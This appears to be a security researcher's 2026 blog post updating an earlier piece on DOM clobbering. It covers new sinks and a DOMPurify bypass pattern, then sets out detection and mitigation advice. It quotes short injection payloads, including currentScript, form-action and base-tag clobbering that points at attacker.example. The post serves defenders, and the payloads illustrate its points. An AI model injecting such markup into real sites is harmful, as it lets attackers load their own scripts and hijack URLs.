10 minute read
In March 2020 I published DOM Clobbering - An Underestimated Attack Vector, a brief introduction to clobbering as an HTML-injection-to-script-execution path. The framing held up better than I expected. The specific examples did not. Five years of sanitizer hardening, two browser-side mitigation primitives shipped to production, and a body of academic and offensive research I will not try to summarise in one paragraph have changed both what the attack looks like and what the defender’s actual options are.
This post is the 2026 follow-up. I revisit the original claims, identify which ones aged well and which did not, and walk through the new sinks and bypass classes the community has documented since 2020. As before, my goal is not a comprehensive survey. It is to give a practitioner a working mental model of where DOM Clobbering currently sits in 2026 and where the live attack surface is.
Three things from the 2020 post still hold:
The fundamental primitive is unchanged. When an HTML element with id or name is parsed into a document, the browser exposes it as a named property on document (and conditionally on window) per the HTML Living Standard’s named-access rules. This has not been spec-revised since 2020, and proposals to deprecate the behaviour have not advanced. If you can inject HTML into a page that runs JavaScript, you have a clobbering surface.
The HTMLCollection chaining trick still works. A <form id="config"><input name="apiUrl"> still resolves document.config.apiUrl to the input element, and the value attribute of that input is still attacker-controlled. Browsers have not introduced a separation between named-access on document and named-access via HTMLCollection. They are coupled at the spec level.
CSP is not a mitigation. A strict script-src policy that blocks inline scripts and eval does not block clobbering, because clobbering does not execute script. It changes the value of an existing variable that script then reads. The 2020 post called this out and the gap is still there in 2026, in some respects worse, because newer applications often treat strict CSP as the answer and skip other defences.
Three things I wrote in 2020 are now misleading or incomplete:
“Modern versions of DOMPurify have addressed known clobbering vectors.” This was true in 2020 in a narrow sense and has remained true for the specific bypasses known then. What I did not anticipate was the steady cadence of new clobbering bypasses against DOMPurify in the years since. The DOMPurify security advisories list has been the most reliable place to track this. Several of the 2022-2025 advisories are clobbering-shaped: an attacker injects an element configuration that DOMPurify processes, but that breaks an assumption in DOMPurify’s own internal lookup chain. The library has hardened, but the underlying interaction between sanitizer code and the document namespace it operates on is genuinely difficult to make airtight.
The mitigation list I gave was incomplete. Object.freeze, const declarations, type checks, and SANITIZE_DOM: true are still recommended, but the 2020 list missed two things that became relevant after that date: Trusted Types (Chromium-shipped, widely adopted in Google production) and the proposed Sanitizer API. Both materially change the picture in 2026.
The attack-surface description was too narrow. I treated clobbering primarily as a window.config / document.someLib pollution surface. The community has since identified at least three additional sink classes that I did not cover: document.currentScript clobbering, custom-element-registry interactions, and form-action clobbering used as a redirect primitive. These are described below.
document.currentScript returns the <script> element that is currently executing. Several library loaders use this to discover their own URL, then derive paths to sibling resources. The pattern is something like:
var base = document.currentScript.src.split('/').slice(0,-1).join('/');
loadModule(base + '/plugin.js');
If the page in which the script runs has been clobbered with <img name="currentScript"> before the loader script runs, document.currentScript resolves to the <img> element rather than the executing script. The src attribute on the image is attacker-controlled. The loader fetches a sibling path of the attacker’s URL and executes whatever the attacker hosts there.
The condition for this is that the named element must come before the loader script in document order, and the property has to be unset at the time the lookup happens. In practice the second condition is met more often than you would expect, because not all script types repopulate currentScript reliably across browsers. This sink was not in the 2020 post and it is one of the higher-impact ones in modern apps.
The Custom Elements API exposes a registry on window.customElements. This registry itself is not directly clobberable, but the lookups around it sometimes are. A pattern I have seen in two real codebases:
if (!window.MyComponent) {
customElements.define('my-component', MyComponent);
}
The intent is to avoid double-registration. The check is on window.MyComponent, which the developer assumed referred to a class definition that may or may not have been imported. An attacker who can inject <a id="MyComponent"> makes the check pass, the define call is skipped, and the component is never registered. In an application that loads logic conditionally based on registered components, this becomes a denial-of-feature primitive at minimum, and in some applications a privilege-escalation primitive when the unregistered component would have applied a security boundary.
This is a narrower sink than the loader case but shows up in framework-style codebases that mix imperative custom-element registration with global-flag checks.
This is older than the 2020 post but I did not cover it. Two forms here:
<form id="x" action="https://attacker.example/"> makes document.x.action a string the attacker controls. Code that reads document.x.action (some framework code does, particularly form-handling helpers) treats it as the attacker’s URL.<base id="config" href="https://attacker.example/"> clobbers document.config with an element whose href is attacker-controlled, and crucially, <base> elements applied at parse time also affect resolution of all relative URLs on the page. This is a two-for-one: a clobbering primitive and a base-URL hijack against any subsequent relative URL.The base-tag variant is rarely sanitized because <base> is uncommon in user-generated content. Several sanitizers historically allowed it through default configurations.
To make this concrete, here is the shape of a 2024-era bypass against DOMPurify that the maintainers fixed in a subsequent release. I am presenting it as a structural example, not as a working PoC against the current version. If you want to test against the current release, build from main and read the changelog.
<form id="x">
<input name="attributes">
</form>
The intent of the attacker:
node.attributes to iterate the attribute list of a node. In a clobbered document, someElement.attributes resolves to an HTMLCollection that contains the attacker’s <input> rather than the real attribute list.This pattern (clobbering a property the sanitizer looks up on its own working node) recurs. DOMPurify maintainers have hardened the lookup paths several times. The architectural challenge is that the sanitizer is operating on the same document namespace it is trying to sanitize. Any attribute or property the sanitizer reads from a node is, in principle, clobberable. The defensive posture has been to enumerate the lookups, harden each one, and ship advisories for each new one found.
Two browser-side primitives have shipped or are shipping that change the picture.
Trusted Types is a Chromium-implemented API (spec, chromestatus entry, implementer guidance) that lets a page declare that injection sinks like innerHTML, eval, script.src, and friends will only accept values produced by named “policies” in the page. A clobbering attack that depends on writing a string into one of these sinks is broken at the sink level by Trusted Types, even if the value reaches the sink via a clobbered path. This is not a clobbering-specific defence, it is a general HTML-injection defence that happens to also break the most useful end of clobbering chains. The downside is that Trusted Types requires application-level adoption (policy authoring, refactoring sink usage), is currently Chromium-only in any practical sense, and does not protect against clobbering-derived behaviour that does not flow through a TT-protected sink.
Sanitizer API (WICG draft) is a proposed browser-native sanitizer. The most relevant property for our purposes is that, as a browser-built primitive, it operates outside the document being sanitized in a way that user-space sanitizers cannot. If the Sanitizer API ships in a form close to the current draft, the architectural problem that has produced clobbering-shaped DOMPurify bypasses for five years is materially reduced for callers who use it instead of DOMPurify. Adoption has been slow, and the spec is still in flux. I do not think it replaces DOMPurify for production use in 2026. I do think it will, eventually.
The 2020 post listed four detection patterns. They still work and I would add three more:
document.currentScript in any code path that derives a URL or path from it. Treat this as a clobbering surface unless the script tag is generated server-side with an integrity attribute.if (!window.X) patterns where X is supposed to be a class definition are clobbering-shaped.The 2020 list, with 2026 modifications:
Object.freeze on configuration objects after initialization. Still good. Add: avoid initialising configuration via if (!window.config) patterns at all. Use module-scoped consts.const / let in module scope. Still good. ES module isolation does meaningfully reduce the clobbering surface for new code.instanceof HTMLElement as the negative check, since the most common clobbering result is “you got an element you did not want”.SANITIZE_DOM: true. Still default. Worth pairing with SANITIZE_NAMED_PROPS: true, which applies to a narrower clobbering surface but is cheap to enable.A reader who spent the last five years away from clobbering might assume the issue would have been spec’d away by now. It has not, and there are good reasons it has not. Removing named-property access on document would break a non-trivial slice of the existing web. The browsers have agreed informally that it is undesirable behaviour and have made specific cases harder, but a wholesale removal is not on any near-term roadmap I can find. As long as the primitive exists in the platform, sanitizers that operate inside the document namespace will keep producing clobbering-shaped advisories, and application code that mixes globals with HTML injection will keep producing clobbering-shaped bugs.
The thing I take from five years of this is that clobbering is a permanent property of the platform rather than a class of bugs we can close. The defender’s job is not to eliminate it, it is to know where it can land in the application, design lookups so it cannot reach a sensitive sink, and pick libraries whose maintainers treat new clobbering primitives as a security advisory rather than an idiosyncrasy of the document model.